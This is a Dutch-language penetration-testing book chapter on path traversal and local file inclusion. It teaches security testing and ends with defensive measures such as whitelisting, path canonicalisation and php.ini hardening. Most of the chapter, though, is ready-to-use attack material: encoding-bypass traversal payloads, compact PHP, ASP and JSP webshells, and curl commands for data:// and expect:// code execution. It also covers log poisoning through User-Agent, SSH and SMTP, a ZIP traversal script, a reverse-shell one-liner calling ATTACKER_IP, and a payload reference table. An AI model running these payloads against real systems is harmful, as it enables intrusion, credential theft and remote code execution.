Path Traversal en File Inclusion

Er bestaat een universeel menselijk verlangen om te organiseren. We doen het al duizenden jaren. De oude Egyptenaren hadden hun papyrusrollen in kleivazen, gesorteerd op onderwerp. De Romeinen hadden hun tabularia, archieven zo netjes geordend dat een ambtenaar binnen een minuut een document kon vinden over een grensconflict van drie jaar geleden. De middeleeuwse monniken hadden hun scriptoria, waar manuscripten met zorg werden gecatalogiseerd en bewaard.

En wij hebben het bestandssysteem.

Het bestandssysteem is een van die uitvindingen die zo fundamenteel zijn dat de meeste mensen er niet meer over nadenken. Het is een hiërarchie van mappen en bestanden, net als een archiefkast met laden die laden bevatten die weer laden bevatten. Bovenaan staat de root – op Unix is dat /, op Windows is dat C:\ – en daaronder vertakken zich mappen als de takken van een eik. Elke map kan bestanden bevatten, of meer mappen, en zo ontstaat er een structuur die in theorie alles netjes op zijn plek houdt.

Het sleutelwoord is “in theorie”.

Want het probleem met een netjes georganiseerd archief is dat het precies zo veilig is als het slot op de deur. En in de wereld van webapplicaties is dat slot vaak niet meer dan een kartonnen bordje met “verboden toegang” erop. Path traversal – ook wel directory traversal of dot-dot-slash genoemd – is de techniek waarbij een aanvaller dat bordje negeert, door het archief wandelt, en alles leest wat hij wil.


6.1 De basis: twee puntjes en een schuine streep

Laten we beginnen bij het begin. Elk bestandssysteem begrijpt een handvol navigatiesymbolen. Een punt (.) betekent “de huidige map”. Twee punten (..) betekent “de bovenliggende map”. En een schuine streep (/ op Unix, \ op Windows) scheidt mappen van elkaar.

Dit zijn geen bugs. Dit is hoe bestandssystemen al decennia werken. Het is de taal die elk besturingssysteem spreekt. En het is precies die taal die path traversal mogelijk maakt.

Stel je voor dat een webapplicatie afbeeldingen serveert via een URL als:

https://example.com/image?file=foto.jpg

De applicatie pakt de waarde foto.jpg, plakt die achter een pad als /var/www/images/, en stuurt het bestand terug. Simpel. Elegant zelfs. Tot iemand dit probeert:

https://example.com/image?file=../../../etc/passwd

Elke ../ klimt een map omhoog. Drie keer ../ vanaf /var/www/images/ brengt je naar /, de root van het bestandssysteem. En dan is /etc/passwd – het bestand dat op elk Unix-systeem de gebruikerslijst bevat – slechts een vriendelijk verzoek verwijderd.

IB – De command file web_lfi_traversal in de IB Command Library bevat een uitgebreide verzameling path traversal payloads voor zowel Linux als Windows. Gebruik deze als startpunt voor je tests en combineer ze met de fuzzing tip onderaan het bestand.

De anatomie van een traversal payload

De eenvoudigste payload is een reeks van ../ gevolgd door het gewenste pad:

../../../../../../../etc/passwd

Waarom zeven keer ../? Omdat je niet weet hoe diep het huidige pad is. Als je te vaak omhoog klimt, maakt dat niet uit – je kunt niet hoger dan root. Maar als je te weinig klimt, bereik je het bestand niet. Meer is dus veiliger. Een pentester die zuinig is met zijn puntjes is een pentester die niets vindt.

Op Windows ziet dezelfde aanval er iets anders uit:

..\..\..\..\..\..\windows\win.ini

De backslash in plaats van een forward slash, en een ander doelbestand. Maar het principe is identiek. Het bestandssysteem begrijpt allebei, en dat is precies het probleem.


6.2 Encoding: de kunst van het vermommen

Natuurlijk zijn ontwikkelaars niet helemaal dom. Sommigen hebben bedacht dat ze ../ kunnen filteren. Ze zoeken naar de letterlijke string ../ in de input en verwijderen die. Probleem opgelost, toch?

Nee. Want URL-encoding bestaat.

URL-encoding (percent-encoding)

In een URL kun je elk karakter vervangen door zijn hexadecimale waarde, voorafgegaan door een procentteken. De punt (.) wordt %2E. De schuine streep (/) wordt %2F. Dus ../ wordt:

..%2F..%2F..%2F..%2Fetc%2Fpasswd

De webserver decodeert deze waarden voordat de applicatie ze ziet. Maar als de applicatie eerst filtert en de webserver daarna decodeert – of als de applicatie de URL-gedecodeerde waarde niet opnieuw controleert – glipt de payload er doorheen als een aal door een net.

Dubbele URL-encoding

Sommige applicaties decoderen de input een keer en filteren dan. De oplossing? Encodeer het twee keer:

..%252F..%252F..%252F..%252Fetc%252Fpasswd

Hier is %25 de URL-encoding van het procentteken zelf. De eerste decoderingsronde maakt er %2F van. De tweede ronde maakt er / van. Als de filtering na de eerste ronde plaatsvindt maar voor de tweede, heb je een probleem. Of beter gezegd: de applicatie heeft een probleem.

Overige encoding-trucs

Er zijn meer varianten dan je lief is:

# Dot-stripping bypass (het filter verwijdert ../ maar niet ....//):
....//....//....//etc/passwd

# Semicolon bypass (Tomcat/Java-specifiek):
..;/..;/..;/etc/passwd

# UTF-8 overlong encoding (historisch):
%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# Unicode normalisatie:
..%c0%af..%c0%af..%c0%afetc/passwd

De ....//-variant is bijzonder sluw. Als een filter ../ verwijdert uit ....//, blijft er ../ over. Het filter slaat zichzelf. Het is het digitale equivalent van een bewaker die het hek opendoet terwijl hij denkt dat hij het op slot draait.

De ;-variant werkt specifiek op Apache Tomcat, dat de semicolon behandelt als een path parameter separator. Tomcat negeert alles voor de semicolon in het pad-segment en interpreteert de rest normaal. Dit is een van die gevallen waarin het “dat is geen bug, dat is een feature”-argument van de ontwikkelaars ietwat hol klinkt.


6.3 Local File Inclusion: het bestandssysteem als bibliotheek

Path traversal is de techniek om buiten de bedoelde map te navigeren. Local File Inclusion (LFI) is wat je ermee doet. Bij LFI wordt een lokaal bestand op de server ingesloten en verwerkt door de applicatie, vaak via een PHP include() of require() functie.

Het verschil is subtiel maar belangrijk. Bij path traversal lees je een bestand. Bij LFI voer je het potentieel uit.

Interessante bestanden

Als je eenmaal kunt lezen wat je wilt, rijst de vraag: wat wil je lezen? Het antwoord hangt af van je doel, maar sommige bestanden zijn vrijwel altijd interessant.

Linux:

Bestand Inhoud
/etc/passwd Gebruikerslijst, home directories, login shells
/etc/shadow Wachtwoord-hashes (vereist root-rechten)
/etc/hosts Hostname-naar-IP-mapping, onthult interne netwerknamen
/proc/self/environ Omgevingsvariabelen van het huidige proces
/proc/self/cmdline Commandline waarmee het proces is gestart
/var/log/apache2/access.log Apache access log (voor log poisoning)
/var/log/auth.log Authenticatie log (SSH login pogingen)
/home/user/.ssh/id_rsa SSH private key – jackpot
/home/user/.bash_history Shell commando-geschiedenis

Windows:

Bestand Inhoud
C:\windows\system32\config\SAM Lokale wachtwoord-database
C:\windows\repair\SAM Backup van SAM (vaak leesbaar)
C:\inetpub\wwwroot\web.config IIS configuratie, connection strings
C:\windows\system32\drivers\etc\hosts Hostname mapping
C:\Users\Administrator\.ssh\id_rsa SSH key van de admin

Webapplicatie-specifiek:

Bestand Inhoud
.env Omgevingsvariabelen: database credentials, API keys
config.php / wp-config.php Database wachtwoorden, salt keys
web.config .NET configuratie met connection strings
application.properties Spring Boot configuratie

Het lezen van /etc/passwd is het equivalent van het bekijken van het telefoonboek van een bedrijf. Je weet nog niet wat iedereen doet, maar je weet wie er allemaal zijn. En vaak is dat genoeg om je volgende stap te plannen.

IB – De web_lfi_traversal command file bevat secties voor zowel Linux als Windows interessante bestanden. Kopieer de relevante paden en pas ze aan voor het besturingssysteem van je doelwit. Vergeet niet dat /etc/shadow meestal niet leesbaar is als www-data, maar het is altijd het proberen waard.


6.4 PHP wrappers: de geheime deuren

PHP is een taal die gebouwd is met het expliciete doel om webpagina’s te genereren. Het is ook een taal die – door een combinatie van historisch gegroeide features en een laissez-faire houding ten opzichte van beveiliging – een verzameling stream wrappers bevat die elke pentester laat watertanden.

Stream wrappers zijn protocollen die PHP begrijpt in functies als include(), file_get_contents(), en fopen(). Je kunt ze beschouwen als alternatieve “routes” om data te lezen of te schrijven.

php://filter – broncode lezen

Dit is de meest gebruikte wrapper bij LFI. Normaal gesproken wordt een PHP-bestand uitgevoerd wanneer het wordt geinclude. Maar wat als je de broncode wilt lezen, niet het resultaat?

php://filter/convert.base64-encode/resource=config.php

Deze wrapper leest config.php, converteert de inhoud naar Base64, en retourneert het resultaat als tekst. Omdat Base64 geen geldige PHP is, wordt het niet uitgevoerd maar letterlijk weergegeven. Decodeer de output en je hebt de broncode, inclusief hardcoded wachtwoorden, database credentials, en alle andere geheimen die de ontwikkelaar dacht verborgen te hebben.

# De Base64 output decoderen:
echo "PD9waHAKJGRiX3VzZXIgPSAncm9vdCc7CiRkYl9wYXNzID0gJ3Bhc3N3b3JkMTIzJzs=" | base64 -d
# Output:
# <?php
# $db_user = 'root';
# $db_pass = 'password123';

Ja, password123. In productie. In 2026. De mensheid leert het nooit.

php://input – code injecteren

Als allow_url_include is ingeschakeld (wat het niet zou moeten zijn, maar je zou versteld staan hoe vaak het wel is), kun je PHP-code rechtstreeks via de request body sturen:

curl -X POST "http://target/page.php?file=php://input" \
     -d "<?php system('id'); ?>"

De include() functie leest de request body als PHP-code en voert het uit. Van file inclusion naar remote code execution in een enkele request.

data:// – code als URL

De data:// wrapper is vergelijkbaar met php://input, maar stuurt de code via de URL zelf:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

De Base64-waarde decodeert naar:

<?php system($_GET['cmd']); ?>

Gecombineerd met een &cmd=id parameter heb je een volledige webshell in een URL. Eleganter wordt het niet.

curl "http://target/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"

expect:// – directe command execution

De meest directe wrapper. Geen omwegen, geen Base64, geen subtiliteit:

expect://id

Voert id uit op het systeem. Vereist de PHP Expect-extensie, die zelden standaard geinstalleerd is, maar als het er is, is het het beveiligings- equivalent van een open deur met een bord “kom binnen en pak wat je wilt”.

curl "http://target/page.php?file=expect://id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Null byte injection (historisch)

Voor PHP 5.3.4 was er een bijzonder elegante truc. Veel applicaties voegden een extensie toe aan het bestand dat je opvroeg:

include($_GET['file'] . '.php');

Het idee was dat je alleen PHP-bestanden kon includen. Maar een null byte (%00) termineert strings in C, en PHP is gebouwd op C. Dus:

../../../etc/passwd%00

PHP zag ../../../etc/passwd\0.php, maar de onderliggende C-functie las tot de null byte en opende /etc/passwd. De .php extensie werd simpelweg genegeerd, alsof hij nooit had bestaan.

Dit is sinds PHP 5.3.4 gefixt, maar legacy-applicaties bestaan. En als er iets is dat de geschiedenis ons leert, is het dat legacy-applicaties niet met pensioen gaan. Ze worden gewoon vergeten tot iemand ze vindt.

# Null byte met valse extensie:
../../../etc/passwd%00.jpg
../../../etc/passwd%00.php

6.5 Log poisoning: het dagboek vergiftigen

Hier wordt het echt interessant. Log poisoning is de kunst om executable code te injecteren in een logbestand, en dat logbestand vervolgens via LFI te includen zodat de code wordt uitgevoerd. Het is een tweestapaanval die eenvoudiger is dan hij klinkt.

De logica is als volgt:

  1. Webservers loggen elke request, inclusief headers zoals de User-Agent.
  2. Die logs worden opgeslagen in bestanden als /var/log/apache2/access.log.
  3. Als je LFI hebt, kun je die logbestanden includen.
  4. Als je PHP-code in de logbestanden kunt krijgen, wordt die uitgevoerd bij inclusie.

Het is alsof je een briefje in het gastenboek van een hotel schrijft, en dat briefje later als officieel document wordt behandeld. Behalve dat het briefje een bommelding bevat.

IB – De web_lfi_logpoison command file in IB bevat het complete stappenplan voor log poisoning, van LFI-verificatie tot reverse shell. Volg de stappen in volgorde voor een systematische aanpak.

Stap 1: LFI bevestigen

Voordat je aan log poisoning begint, moet je bevestigen dat je bestanden kunt includen. Test met bekende bestanden:

# Bevestig LFI:
curl "http://TARGET/page.php?file=../../../etc/passwd"

# Als de basis niet werkt, probeer bypass-varianten:
curl "http://TARGET/page.php?file=....//....//....//etc/passwd"

Stap 2: Log toegang verifiëren

Nu moet je bevestigen dat je de logbestanden kunt lezen. De locatie verschilt per configuratie:

Webserver Locatie
Apache (Debian/Ubuntu) /var/log/apache2/access.log
Apache (RHEL/CentOS) /var/log/httpd/access_log
Nginx /var/log/nginx/access.log
XAMPP (Windows) C:\xampp\apache\logs\access.log
# Probeer het access log te lezen:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log"

Als je een stortvloed aan logregels terugkrijgt, ben je binnen. Als niet, probeer andere locaties. De error.log is soms een goed alternatief als de access.log niet bereikbaar is.

Stap 3: PHP-code injecteren via de User-Agent

Dit is het moment waarop je het logbestand vergiftigt. De User-Agent header wordt standaard gelogd in het access log. Dus:

# Injecteer PHP-code via de User-Agent header:
curl -A "<?php system(\$_GET['cmd']); ?>" "http://TARGET/"

Op het moment dat je dit commando uitvoert, schrijft Apache een regel naar het access log die er ongeveer zo uitziet:

10.10.14.5 - - [23/Feb/2026:14:22:01 +0100] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"

Die PHP-code zit nu in het logbestand. Het wacht geduldig tot iemand het includet.

Je kunt ook Netcat gebruiken voor meer controle over de ruwe request:

nc TARGET 80
GET / HTTP/1.1
Host: TARGET
User-Agent: <?php system($_GET['cmd']); ?>

Stap 4: Command execution via log inclusion

Nu combineer je de twee stappen – LFI en de vergiftigde log:

# Code executie:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id"
# Output bevat: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=whoami"
# Output bevat: www-data

En voor de grand finale – een reverse shell:

# Reverse shell via log poisoning:
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/443%200>%261'"

Vergeet niet om speciale tekens URL te encoden: & wordt %26, spaties worden %20. Een vergeten ampersand in een shell commando is het verschil tussen een reverse shell en een cryptisch foutmelding.

IB – Let op de tip onderaan web_lfi_logpoison: als access.log niet werkt, probeer error.log. Sommige configuraties loggen meer details in het error log, inclusief de volledige URL met parameters.

Alternatieve log poisoning vectoren

Access logs zijn niet de enige logs die je kunt vergiftigen. Er zijn verrassend veel alternatieve routes.

Mail log poisoning:

Als de server een mailservice draait, kun je PHP-code injecteren via SMTP:

telnet TARGET 25
MAIL FROM: <attacker@test.com>
RCPT TO: <www-data@TARGET>
DATA
<?php system($_GET['cmd']); ?>
.

De mail wordt opgeslagen in /var/mail/www-data. Include dat bestand:

curl "http://TARGET/page.php?file=../../../var/mail/www-data&cmd=id"

SSH log poisoning:

SSH auth logs bevatten de gebruikersnaam van mislukte login-pogingen. Wat als die “gebruikersnaam” PHP-code is?

# Injecteer PHP via SSH login:
ssh '<?php system($_GET["cmd"]); ?>'@TARGET

De SSH-server weigert de login (natuurlijk), maar logt de poging in /var/log/auth.log, inclusief de “gebruikersnaam”. Include het auth log:

curl "http://TARGET/page.php?file=../../../var/log/auth.log&cmd=id"

Dit werkt alleen als het auth.log leesbaar is voor het webserverproces, wat niet standaard het geval is. Maar standaardconfiguraties en de werkelijkheid lopen zelden synchroon.

/proc/self/environ poisoning:

Het /proc/self/environ pseudo-bestand bevat de omgevingsvariabelen van het huidige proces. De HTTP_USER_AGENT variabele wordt gevuld vanuit de User-Agent header. Dus:

curl -A "<?php system(\$_GET['cmd']); ?>" \
     "http://TARGET/page.php?file=../../../proc/self/environ&cmd=id"

Hier combineer je de injectie en de executie in een enkele request. Elegant en effectief, als een goocheltruc waarbij je het konijn uit de hoed haalt terwijl je tegelijk de hoed in brand steekt.


6.6 File upload bypass: de sluiswachter om de tuin leiden

File uploads zijn een van die features die elke webapplicatie nodig heeft en elke beveiligingstester vreest. Het idee is simpel: de gebruiker uploadt een bestand, de server slaat het op. Maar de duivel zit in de details. Want als een gebruiker een PHP-bestand kan uploaden naar een locatie waar de webserver PHP uitvoert, is het spel voorbij.

De meeste applicaties proberen dit te voorkomen met filtering. Ze controleren de bestandsextensie, het content type, of de inhoud. Maar elke filter heeft zwakke plekken, en aanvallers zijn bijzonder creatief in het vinden daarvan.

IB – De web_upload_bypass command file bevat een systematisch overzicht van alle bypass-technieken, van extensie-varianten tot magic bytes. Gebruik Burp Intruder met deze lijst voor geautomatiseerd testen.

Extension filtering omzeilen

De meest voorkomende bescherming is een blacklist van gevaarlijke extensies. .php is geblokkeerd? Prima. Maar er zijn alternatieven:

# PHP alternatieven:
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar
shell.phps
shell.pHp          # Case sensitivity op Windows

Veel applicaties blokkeren .php maar vergeten .phtml, dat door Apache standaard als PHP wordt geinterpreteerd. Het is alsof je de voordeur op slot doet maar vergeet dat de achterdeur ook een slot heeft.

ASP alternatieven:

shell.asp
shell.aspx
shell.ashx
shell.asmx

JSP alternatieven:

shell.jsp
shell.jspx
shell.jsw
shell.jsv

Double extensions

Een andere klassieke truc. Sommige applicaties controleren alleen de laatste extensie. Andere controleren of een bepaalde extensie aanwezig is. Beide zijn te misbruiken:

shell.php.jpg       # Laatste extensie is .jpg, applicatie is tevreden
shell.php.png       # Zelfde truc, ander imago
shell.jpg.php       # Eerste extensie is .jpg, maar Apache voert .php uit

De configuratie van de webserver bepaalt welke extensie wint. Apache met mod_php kijkt naar de laatste extensie die het herkent als uitvoerbaar. Dus shell.php.jpg zou als JPEG behandeld worden, maar shell.jpg.php als PHP. Het hangt allemaal af van de configuratie, en configuratie is waar de meeste systeembeheerders hun creatieve vrijheid nemen.

Null byte in bestandsnaam

Op oudere systemen kun je dezelfde null byte truc gebruiken als bij LFI:

shell.php%00.jpg    # Applicatie ziet .jpg, filesystem ziet .php
shell.php\x00.jpg   # Zelfde idee, andere notatie

Content-Type manipulatie

Veel applicaties vertrouwen op de Content-Type header die de browser meestuurt. Die header wordt door de client bepaald, wat betekent dat een aanvaller hem naar believen kan aanpassen:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Het bestand heet shell.php en bevat PHP-code, maar de Content-Type zegt image/jpeg. Een applicatie die alleen het content type controleert, denkt dat het een onschuldige foto is.

Het is hetzelfde als een bewaker die je ID controleert maar alleen naar de foto kijkt en niet naar de naam. Zolang je er maar aardig uitziet, mag je naar binnen.

Magic bytes

Een stap verder dan content-type manipulatie. Sommige applicaties controleren de eerste bytes van een bestand om het type te bepalen. Elk bestandsformaat heeft een unieke “magic number” – een herkenbare byte-sequentie aan het begin.

Je kunt die bytes toevoegen aan je payload:

GIF89a<?php system($_GET['cmd']); ?>

De eerste zes bytes (GIF89a) zijn de magic bytes van een GIF-bestand. Een applicatie die alleen de header controleert, ziet een GIF. De PHP-interpreter negeert de GIF-header (het is geen geldige PHP) en voert de rest uit.

Voor PNG:

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

Dit is beveiligingstheater op zijn best: een controle die er officieel uitziet, die iedereen een veilig gevoel geeft, maar die precies niets doet tegen iemand die weet hoe het werkt.

ZIP traversal

Een geavanceerdere techniek die werkt wanneer een applicatie geuploadde ZIP-bestanden uitpakt. Je kunt een ZIP-bestand maken met een pad dat buiten de bedoelde map wijst:

import zipfile

z = zipfile.ZipFile('exploit.zip', 'w')
z.writestr('../../../../../var/www/html/shell.phtml',
           '<?php system($_GET["cmd"]); ?>')
z.close()

Als de server het ZIP-bestand uitpakt zonder het pad te sanitizen, wordt je shell geplaatst in de webroot. Van upload naar RCE zonder een enkele extensiefilter te raken.

.htaccess upload

Dit is de meest elegante bypass. In plaats van het filter te omzeilen, herschrijf je de regels:

# Upload een .htaccess bestand met deze inhoud:
AddType application/x-httpd-php .jpg

Nu behandelt Apache elk .jpg bestand in die map als PHP. Upload vervolgens je shell als shell.jpg:

<?php system($_GET['cmd']); ?>

De applicatie ziet een .jpg bestand en is tevreden. Apache ziet een PHP-bestand en voert het uit. Beide systemen doen precies wat hen is verteld, en toch gaat alles mis. Dat is de essentie van beveiligingsproblemen: niet een enkel systeem dat faalt, maar twee systemen die langs elkaar heen communiceren.

Webshells: de minimale payload

Ongeacht welke bypass je gebruikt, je hebt een payload nodig. Hier zijn de meest compacte webshells per taal:

// PHP (klassiek):
<?php system($_GET['cmd']); ?>

// PHP (kort):
<?=`$_GET[0]`?>
<%  eval request("cmd") %>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

De kortste PHP-webshell is 19 bytes. Negentien. Minder dan een tweet. Dat is alles wat nodig is om volledige controle over een server te krijgen.


6.7 Van LFI naar RCE: de volledige keten

Laten we de puzzelstukjes samenvoegen. LFI op zichzelf is informatielek – je kunt bestanden lezen, maar geen code uitvoeren. Tenminste, dat is wat de theorie zegt. In de praktijk zijn er meerdere routes van “ik kan bestanden lezen” naar “ik kan commando’s uitvoeren”.

Route 1: PHP wrappers

De directe route. Als allow_url_include is ingeschakeld:

# Via data:// wrapper:
curl "http://TARGET/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"

# Via php://input:
curl -X POST "http://TARGET/page.php?file=php://input" \
     -d "<?php system('id'); ?>"

# Via expect://:
curl "http://TARGET/page.php?file=expect://id"

Route 2: Log poisoning

De klassieke route, zoals hierboven beschreven:

# Stap 1: Injecteer code in de logs
curl -A "<?php system(\$_GET['cmd']); ?>" "http://TARGET/"

# Stap 2: Include het log
curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id"

Route 3: /proc/self/environ

Combineer injectie en executie in een stap:

curl -A "<?php system(\$_GET['cmd']); ?>" \
     "http://TARGET/page.php?file=../../../proc/self/environ&cmd=id"

Route 4: Session file inclusion

PHP slaat sessiedata op in bestanden, meestal in /tmp/sess_<PHPSESSID>. Als je data in je sessie kunt injecteren (via een formulierveld dat in de sessie wordt opgeslagen), kun je dat sessiebestand includen:

# Stel dat een formulier je naam opslaat in de sessie:
curl -b "PHPSESSID=abc123" \
     "http://TARGET/page.php?name=<?php system(\$_GET['cmd']); ?>"

# Include het sessiebestand:
curl -b "PHPSESSID=abc123" \
     "http://TARGET/page.php?file=../../../tmp/sess_abc123&cmd=id"

Route 5: File upload + LFI

Upload een afbeelding met embedded PHP-code (via magic bytes), vind het pad waar het is opgeslagen, en include het via LFI:

# Upload een "afbeelding" met PHP code:
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
curl -F "file=@shell.gif" "http://TARGET/upload"

# Include via LFI:
curl "http://TARGET/page.php?file=../../../var/www/uploads/shell.gif&cmd=id"

Elk van deze routes heeft zijn eigen vereisten en beperkingen. Maar het principe is hetzelfde: zoek een manier om PHP-code op de server te krijgen, en gebruik LFI om die code uit te voeren. Het is een puzzel, en elke server is een andere puzzel.

IB – Gebruik de PHP wrappers sectie in zowel web_lfi_traversal als web_lfi_logpoison voor een complete referentie van alle wrappers. Onthoud de tip: PHP wrappers werken alleen als allow_url_include=On. Check dit met php://filter op de php.ini configuratie.


6.8 Verdediging: het archief op slot

Na al die aanvalsroutes is het eerlijk om ook over verdediging te praten. Want hoewel het cynische in ons wil zeggen dat het toch hopeloos is, is path traversal en LFI een van die kwetsbaarheden die met discipline te voorkomen zijn.

Whitelist, niet blacklist

De fundamentele fout die de meeste applicaties maken, is het blokkeren van bekende slechte input (blacklisting) in plaats van het toestaan van bekende goede input (whitelisting).

# FOUT: blacklist
def get_file(filename):
    if '../' in filename:
        return "Nee."
    return open(f'/var/www/files/{filename}').read()

# GOED: whitelist
ALLOWED_FILES = {'report.pdf', 'manual.html', 'logo.png'}

def get_file(filename):
    if filename not in ALLOWED_FILES:
        return "Nee."
    return open(f'/var/www/files/{filename}').read()

De blacklist-aanpak is een eindeloze wapenwedloop. Je blokkeert ../, dus de aanvaller gebruikt ..%2F. Je blokkeert dat, dus hij gebruikt ....//. Je blokkeert dat, dus hij vindt weer iets nieuws. De whitelist-aanpak eindigt het gesprek: als het niet op de lijst staat, bestaat het niet.

Path canonicalisatie

Als een whitelist niet praktisch is (bijvoorbeeld bij een CMS dat willekeurige bestanden moet serveren), gebruik dan path canonicalisatie:

import os

def get_file(filename):
    base_dir = '/var/www/files'
    requested = os.path.realpath(os.path.join(base_dir, filename))

    if not requested.startswith(base_dir):
        return "Nee."

    return open(requested).read()

os.path.realpath() resolved alle .. componenten, symlinks, en encoding- trucs tot een absoluut pad. Als het resulterende pad niet begint met je basemap, is er iemand aan het traverselen.

Chroot / containers

De nucleaire optie: zet de webapplicatie in een chroot jail of container waar het bestandssysteem dat het proces kan zien beperkt is tot wat het nodig heeft. Zelfs als een aanvaller path traversal bereikt, is er niets interessants om te lezen.

# Docker: de applicatie ziet alleen /app
FROM python:3.12-slim
WORKDIR /app
COPY . .
USER nobody

PHP-specifieke maatregelen

; php.ini
allow_url_include = Off     ; Blokkeer remote file inclusion
allow_url_fopen = Off       ; Blokkeer remote file access
open_basedir = /var/www/    ; Beperk bestandstoegang
disable_functions = system,exec,passthru,shell_exec,popen,proc_open

open_basedir is PHP’s ingebouwde chroot. Het beperkt welke mappen PHP-scripts kunnen benaderen. Het is niet waterdicht (er zijn historische bypasses), maar het is een laag die je altijd moet toevoegen.

Upload-specifieke maatregelen

# Valideer extensie EN content-type EN magic bytes:
import magic

ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif'}
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif'}

def validate_upload(file):
    ext = os.path.splitext(file.filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        return False

    # Check magic bytes met python-magic:
    mime = magic.from_buffer(file.read(2048), mime=True)
    file.seek(0)
    if mime not in ALLOWED_TYPES:
        return False

    return True

En, cruciaal: sla uploads op buiten de webroot, of op een apart domein zonder server-side scripting. Als de webserver geen PHP (of ASP, of JSP) uitvoert in de upload-map, maakt het niet uit wat er geupload wordt.

# Nginx: geen PHP executie in de uploads map
location /uploads/ {
    location ~ \.php$ {
        deny all;
    }
}

Rename na upload

Geef geuploadde bestanden een random naam zonder de originele extensie:

import uuid

def save_upload(file):
    safe_name = str(uuid.uuid4())  # Geen extensie, geen problemen
    path = os.path.join(UPLOAD_DIR, safe_name)
    file.save(path)
    return safe_name

Een bestand zonder extensie wordt door geen enkele webserver als uitvoerbaar beschouwd. Het is de digitale equivalent van het verwijderen van de trekker uit een pistool: het ziet er nog steeds gevaarlijk uit, maar het doet niets.


6.9 De realiteit

En hier is het moment waarop het cynische stemmetje weer mag meepraten.

Want het probleem met path traversal en LFI is niet dat we niet weten hoe we het moeten voorkomen. We weten het al sinds de jaren negentig. realpath() bestaat al langer dan de meeste webontwikkelaars leven. Whitelisting is geen geavanceerd concept. En toch, in 2026, zitten we hier nog steeds te praten over ../../../etc/passwd alsof het een nieuwe aanval is.

De waarheid is dat path traversal niet voortkomt uit onwetendheid. Het komt voort uit luiheid, haast, en de eeuwige overtuiging dat “het ons niet zal overkomen”. Het komt voort uit ontwikkelaars die een feature in een middag bouwen en de beveiliging “later” toevoegen – een “later” dat nooit komt omdat er altijd een nieuwe feature is die “later” ook nodig heeft.

We slaan gevoelige bestanden op in leesbare mappen. We geven de webserver toegang tot het hele bestandssysteem. We vertrouwen op extensiefilters die een kind van twaalf kan omzeilen. En als het misgaat, wijzen we naar de aanvaller alsof hij iets oneerlijks heeft gedaan.

De aanvaller heeft niets oneerlijks gedaan. Hij heeft ../ getypt. Dat is het. Drie karakters. Twee puntjes en een schuine streep. Als je systeem niet bestand is tegen twee puntjes en een schuine streep, dan is het probleem niet de aanvaller. Dan is het probleem dat je een systeem hebt gebouwd met het veerkracht-niveau van een kaartenhuis in een orkaan.

Maar goed, het houdt ons van de straat.


6.10 Referentietabel

Techniek Payload / Commando Doel
Basis traversal (Linux) ../../../../../../../etc/passwd Gebruikerslijst lezen
Basis traversal (Windows) ..\..\..\..\windows\win.ini Windows configuratie lezen
URL-encoded traversal ..%2F..%2F..%2Fetc%2Fpasswd Filter bypass via encoding
Dubbel URL-encoded ..%252F..%252F..%252Fetc%252Fpasswd Dubbele decodering bypass
Dot-stripping bypass ....//....//....//etc/passwd Filter verwijdert ../ maar niet ....//
Semicolon bypass ..;/..;/..;/etc/passwd Tomcat path parameter separator
Null byte (PHP < 5.3.4) ../../../etc/passwd%00.jpg Extensie-toevoeging omzeilen
PHP filter wrapper php://filter/convert.base64-encode/resource=config.php Broncode lezen als Base64
PHP data wrapper data://text/plain;base64,PD9waH... Code execution via URL
PHP expect wrapper expect://id Directe command execution
Log poisoning (injectie) curl -A "<?php system(\$_GET['cmd']); ?>" http://TARGET/ PHP in access log schrijven
Log poisoning (executie) curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id" Vergiftigd log includen
SSH log poisoning ssh '<?php system($_GET["cmd"]); ?>'@TARGET PHP via SSH auth log
/proc/self/environ curl -A "<?php system(\$_GET['cmd']); ?>" "http://T/page.php?file=../../../proc/self/environ&cmd=id" Injectie + executie in een stap
Extension bypass (PHP) shell.phtml, shell.phar, shell.php5 Blacklist omzeilen
Double extension shell.php.jpg, shell.jpg.php Extensiecontrole verwarren
Content-Type bypass Content-Type: image/jpeg bij PHP upload Content-type validatie omzeilen
Magic bytes GIF89a<?php system($_GET['cmd']); ?> Bestandstype detectie omzeilen
.htaccess upload AddType application/x-httpd-php .jpg Apache configuratie overschrijven
ZIP traversal z.writestr('../../../var/www/html/shell.phtml', payload) Path traversal via archief

6.11 Checklist voor testers

  1. Identificeer file inclusion parameters: Zoek naar URL-parameters die naar bestanden verwijzen (?file=, ?page=, ?include=, ?path=, ?template=, ?doc=, ?lang=).

  2. Test basis traversal: Begin met ../../../etc/passwd (Linux) of ..\..\..\..\windows\win.ini (Windows).

  3. Probeer encoding-varianten: URL-encoding, dubbele encoding, dot-stripping bypass, semicolon bypass.

  4. Lees gevoelige bestanden: .env, configuratiebestanden, SSH keys, wachtwoord-databases.

  5. Test PHP wrappers: php://filter voor broncode, data:// en php://input voor RCE.

  6. Probeer log poisoning: Injecteer code via User-Agent, SSH, of SMTP. Include het logbestand.

